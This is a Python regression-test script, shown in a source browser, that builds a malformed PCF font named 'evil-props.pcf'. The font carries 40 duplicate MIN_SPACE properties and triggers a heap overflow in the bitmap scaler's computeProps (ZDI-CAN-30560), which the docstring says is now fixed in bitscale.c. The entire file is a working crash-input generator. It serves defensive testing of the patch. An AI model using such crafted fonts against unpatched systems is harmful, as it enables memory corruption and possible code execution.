Home | History | Annotate | Line # | Download | only in test
      1  1.1  mrg #!/usr/bin/env python3
      2  1.1  mrg """
      3  1.1  mrg Generate a malicious PCF font that triggers the computeProps property
      4  1.1  mrg buffer heap overflow (ZDI-CAN-30560).
      5  1.1  mrg 
      6  1.1  mrg The font has 40 duplicate MIN_SPACE properties. When the bitmap scaler
      7  1.1  mrg processes this font, computeProps writes 2 slots per scaledX match with
      8  1.1  mrg no bounds check, overflowing the fixed 70-slot property buffer.
      9  1.1  mrg 
     10  1.1  mrg With the fix in bitscale.c, computeProps checks remaining buffer capacity
     11  1.1  mrg and silently skips properties that would overflow.
     12  1.1  mrg 
     13  1.1  mrg Usage:
     14  1.1  mrg     python3 gen_evil_pcf_props.py <output_dir>
     15  1.1  mrg 
     16  1.1  mrg Creates <output_dir>/evil-props.pcf and <output_dir>/fonts.dir
     17  1.1  mrg The font is stored at pixel=10; opening at a different pixel size
     18  1.1  mrg triggers the scaling path.
     19  1.1  mrg """
     20  1.1  mrg 
     21  1.1  mrg import struct
     22  1.1  mrg import sys
     23  1.1  mrg import os
     24  1.1  mrg 
     25  1.1  mrg PCF_DEFAULT_FORMAT = 0x00000000
     26  1.1  mrg PCF_PROPERTIES = 1
     27  1.1  mrg PCF_ACCELERATORS = 2
     28  1.1  mrg PCF_METRICS = 4
     29  1.1  mrg PCF_BITMAPS = 8
     30  1.1  mrg PCF_BDF_ENCODINGS = 32
     31  1.1  mrg 
     32  1.1  mrg 
     33  1.1  mrg def u32(x):
     34  1.1  mrg     return struct.pack("<I", x & 0xFFFFFFFF)
     35  1.1  mrg 
     36  1.1  mrg 
     37  1.1  mrg def i32(x):
     38  1.1  mrg     return struct.pack("<i", x)
     39  1.1  mrg 
     40  1.1  mrg 
     41  1.1  mrg def u16(x):
     42  1.1  mrg     return struct.pack("<H", x & 0xFFFF)
     43  1.1  mrg 
     44  1.1  mrg 
     45  1.1  mrg def i16(x):
     46  1.1  mrg     return struct.pack("<h", x)
     47  1.1  mrg 
     48  1.1  mrg 
     49  1.1  mrg def u8(x):
     50  1.1  mrg     return struct.pack("<B", x & 0xFF)
     51  1.1  mrg 
     52  1.1  mrg 
     53  1.1  mrg def xCharInfo(lsb, rsb, cw, asc, desc, attr):
     54  1.1  mrg     return i16(lsb) + i16(rsb) + i16(cw) + i16(asc) + i16(desc) + u16(attr)
     55  1.1  mrg 
     56  1.1  mrg 
     57  1.1  mrg NUM_MIN_SPACE = 40
     58  1.1  mrg PROP_VALUE_BASE = 0x11223300
     59  1.1  mrg 
     60  1.1  mrg MAX_LSB, MAX_RSB = 0, 4
     61  1.1  mrg MAX_ASCENT, MAX_DESCENT = 2, 2
     62  1.1  mrg 
     63  1.1  mrg # --- PROPERTIES (40 duplicate MIN_SPACE) ---
     64  1.1  mrg prop_name_atom = b"MIN_SPACE\0"
     65  1.1  mrg properties = b""
     66  1.1  mrg properties += u32(PCF_DEFAULT_FORMAT)
     67  1.1  mrg properties += i32(NUM_MIN_SPACE)
     68  1.1  mrg for i in range(NUM_MIN_SPACE):
     69  1.1  mrg     properties += i32(0)  # name offset = 0 -> "MIN_SPACE"
     70  1.1  mrg     properties += u8(0)  # isStringProp = 0
     71  1.1  mrg     properties += i32(PROP_VALUE_BASE + i)  # unique value
     72  1.1  mrg pad_count = (4 - (NUM_MIN_SPACE % 4)) % 4
     73  1.1  mrg properties += b"\x00" * pad_count
     74  1.1  mrg properties += i32(len(prop_name_atom))
     75  1.1  mrg properties += prop_name_atom
     76  1.1  mrg 
     77  1.1  mrg # --- ACCELERATORS ---
     78  1.1  mrg accel = b""
     79  1.1  mrg accel += u32(PCF_DEFAULT_FORMAT)
     80  1.1  mrg accel += u8(0) * 8
     81  1.1  mrg accel += i32(MAX_ASCENT)
     82  1.1  mrg accel += i32(MAX_DESCENT)
     83  1.1  mrg accel += i32(0)
     84  1.1  mrg accel += xCharInfo(0, 0, 0, 0, 0, 0)
     85  1.1  mrg accel += xCharInfo(MAX_LSB, MAX_RSB, MAX_RSB, MAX_ASCENT, MAX_DESCENT, 0)
     86  1.1  mrg 
     87  1.1  mrg # --- METRICS (1 glyph, small) ---
     88  1.1  mrg metrics = b""
     89  1.1  mrg metrics += u32(PCF_DEFAULT_FORMAT)
     90  1.1  mrg metrics += i32(1)
     91  1.1  mrg metrics += xCharInfo(MAX_LSB, MAX_RSB, MAX_RSB, MAX_ASCENT, MAX_DESCENT, 0)
     92  1.1  mrg 
     93  1.1  mrg # --- BITMAPS ---
     94  1.1  mrg bitmap_data = b"\x80" * 4
     95  1.1  mrg BITMAP_SIZES = [4, 8, 32, 64]
     96  1.1  mrg bitmaps = b""
     97  1.1  mrg bitmaps += u32(PCF_DEFAULT_FORMAT)
     98  1.1  mrg bitmaps += i32(1)
     99  1.1  mrg bitmaps += u32(0)
    100  1.1  mrg for sz in BITMAP_SIZES:
    101  1.1  mrg     bitmaps += u32(sz)
    102  1.1  mrg bitmaps += bitmap_data
    103  1.1  mrg 
    104  1.1  mrg # --- BDF_ENCODINGS ---
    105  1.1  mrg encodings = b""
    106  1.1  mrg encodings += u32(PCF_DEFAULT_FORMAT)
    107  1.1  mrg encodings += u16(0) + u16(0)
    108  1.1  mrg encodings += u16(0) + u16(0)
    109  1.1  mrg encodings += u16(0)
    110  1.1  mrg encodings += u16(0)
    111  1.1  mrg 
    112  1.1  mrg # --- Assemble ---
    113  1.1  mrg TABLE_COUNT = 5
    114  1.1  mrg BODY_START = 8 + TABLE_COUNT * 16
    115  1.1  mrg 
    116  1.1  mrg properties_off = BODY_START
    117  1.1  mrg accel_off = properties_off + len(properties)
    118  1.1  mrg metrics_off = accel_off + len(accel)
    119  1.1  mrg bitmaps_off = metrics_off + len(metrics)
    120  1.1  mrg encodings_off = bitmaps_off + len(bitmaps)
    121  1.1  mrg 
    122  1.1  mrg 
    123  1.1  mrg def toc(type_, format_, size, offset):
    124  1.1  mrg     return u32(type_) + u32(format_) + u32(size) + u32(offset)
    125  1.1  mrg 
    126  1.1  mrg 
    127  1.1  mrg out = b"\x01fcp" + u32(TABLE_COUNT)
    128  1.1  mrg out += toc(PCF_PROPERTIES, 0, len(properties), properties_off)
    129  1.1  mrg out += toc(PCF_ACCELERATORS, 0, len(accel), accel_off)
    130  1.1  mrg out += toc(PCF_METRICS, 0, len(metrics), metrics_off)
    131  1.1  mrg out += toc(PCF_BITMAPS, 0, len(bitmaps), bitmaps_off)
    132  1.1  mrg out += toc(PCF_BDF_ENCODINGS, 0, len(encodings), encodings_off)
    133  1.1  mrg out += properties + accel + metrics + bitmaps + encodings
    134  1.1  mrg 
    135  1.1  mrg output_dir = sys.argv[1] if len(sys.argv) > 1 else "."
    136  1.1  mrg os.makedirs(output_dir, exist_ok=True)
    137  1.1  mrg 
    138  1.1  mrg pcf_name = "evil-props.pcf"
    139  1.1  mrg # Stored at pixel=10; test must open at different size to trigger scaler
    140  1.1  mrg xlfd = "-evil-props-medium-r-normal--10-100-75-75-c-80-iso10646-1"
    141  1.1  mrg 
    142  1.1  mrg with open(os.path.join(output_dir, pcf_name), "wb") as f:
    143  1.1  mrg     f.write(out)
    144  1.1  mrg 
    145  1.1  mrg with open(os.path.join(output_dir, "fonts.dir"), "w") as f:
    146  1.1  mrg     f.write("1\n")
    147  1.1  mrg     f.write(f"{pcf_name} {xlfd}\n")
    148